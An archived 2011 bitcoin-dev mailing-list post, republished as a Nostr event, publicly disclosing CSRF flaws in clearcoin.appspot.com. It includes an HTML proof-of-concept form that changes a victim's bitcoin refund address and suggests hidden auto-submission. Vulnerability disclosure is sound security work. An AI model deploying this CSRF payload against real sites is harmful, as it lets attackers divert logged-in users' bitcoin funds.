š
Original date posted:2011-06-19
šļø Summary of this message: Multiple CSRF vulnerabilities in http://clearcoin.appspot.com, hosted on appspot and uses google account auth, have been reported.
š Original message:In light of recent events in the "bitcoin community" I have decided that private disclosure of issues is doing nothing but making them more prevalent.
In light of this decision I would like to report multiple CSRF vulnerabilities in http://clearcoin.appspot.com .
This set of CSRFs are particularly nasty since this is hosted on appspot and uses google account auth. So long as you stay logged into your google account you are vulnerable to this CSRF.
Things tested:
Changing refund address.
Releasing funds.
POC code (open this in any browser even from a local file):
==========
<html><head><title>test</title></head>
<body>
<form id="refund_address_form" action="https://clearcoin.appspot.com/set_refund_address"; method="POST">
<label for="refund_address">Your bitcoin address:</label>
<input type="text" name="refund_address" id="refund_address" size="60" value="PUT ANY ADDRESS HERE"
class="text ui-widget-content ui-corner-all" autofocus required placeholder="refund bitcoin address"/> (required)
</form>
</body>
</html>
==========
Javascript auto submittal, hiding in an iframe, and other obfuscation methods are left as an exercise to the list.
This site is run and maintained by Gavin Anderson, aka, the lead bitcoin maintainer.
You should know better Gavin.
--
Douglas Huff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3737 bytes
Desc: not available
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110619/eb27ed0c/attachment.p7s>;
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 881 bytes
Desc: This is a digitally signed message part
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110619/eb27ed0c/attachment.sig>;
Doug Huff [ARCHIVE] /
npub1u2ā¦h63q3
2023-06-07 01:39:30
in reply to nevent1qā¦g2th
Author Public Key
npub1u2s36t2ty2ska7aswtr6kewwla57z978cdjzqpcl8zc3naadx66sah63q3Published at
2023-06-07 01:39:30Event JSON
{
"id": "ab48ae97a0a03a34d995d401c1f584f45878328702ec663d4cd4bd29cc0dd35b",
"pubkey": "e2a11d2d4b22a16efbb072c7ab65ceff69e117c7c36420071f38b119f7ad36b5",
"created_at": 1686101970,
"kind": 1,
"tags": [
[
"e",
"20a05390698942690dbf73937458c698e17339355accb457c637e6c25db13479",
"",
"reply"
],
[
"p",
"12dc1bf2ec09f6407949653c294d58098d157c0408628ecdf9a8239033e92ed2"
]
],
"content": "š
Original date posted:2011-06-19\nšļø Summary of this message: Multiple CSRF vulnerabilities in http://clearcoin.appspot.com, hosted on appspot and uses google account auth, have been reported.\nš Original message:In light of recent events in the \"bitcoin community\" I have decided that private disclosure of issues is doing nothing but making them more prevalent.\n\nIn light of this decision I would like to report multiple CSRF vulnerabilities in http://clearcoin.appspot.com .\n\nThis set of CSRFs are particularly nasty since this is hosted on appspot and uses google account auth. So long as you stay logged into your google account you are vulnerable to this CSRF.\n\nThings tested:\n Changing refund address.\n Releasing funds.\n\nPOC code (open this in any browser even from a local file):\n==========\n\u003chtml\u003e\u003chead\u003e\u003ctitle\u003etest\u003c/title\u003e\u003c/head\u003e\n \u003cbody\u003e\n \u003cform id=\"refund_address_form\" action=\"https://clearcoin.appspot.com/set_refund_address\" method=\"POST\"\u003e \n \u003clabel for=\"refund_address\"\u003eYour bitcoin address:\u003c/label\u003e \n \u003cinput type=\"text\" name=\"refund_address\" id=\"refund_address\" size=\"60\" value=\"PUT ANY ADDRESS HERE\"\n class=\"text ui-widget-content ui-corner-all\" autofocus required placeholder=\"refund bitcoin address\"/\u003e (required)\n \u003c/form\u003e \n \u003c/body\u003e\n\u003c/html\u003e\n==========\n\nJavascript auto submittal, hiding in an iframe, and other obfuscation methods are left as an exercise to the list.\n\nThis site is run and maintained by Gavin Anderson, aka, the lead bitcoin maintainer.\n\nYou should know better Gavin.\n\n-- \nDouglas Huff\n\n\n-------------- next part --------------\nA non-text attachment was scrubbed...\nName: smime.p7s\nType: application/pkcs7-signature\nSize: 3737 bytes\nDesc: not available\nURL: \u003chttp://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110619/eb27ed0c/attachment.p7s\u003e\n-------------- next part --------------\nA non-text attachment was scrubbed...\nName: PGP.sig\nType: application/pgp-signature\nSize: 881 bytes\nDesc: This is a digitally signed message part\nURL: \u003chttp://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110619/eb27ed0c/attachment.sig\u003e",
"sig": "b8b1d1b11683140366460e6fe9cd0d84522affe045fbcbab49da9bf74a62c0fc36eea87aeee39a10cc4d794f72bac37dbf94bf613eb93c5fa06b58fd1be287b2"
}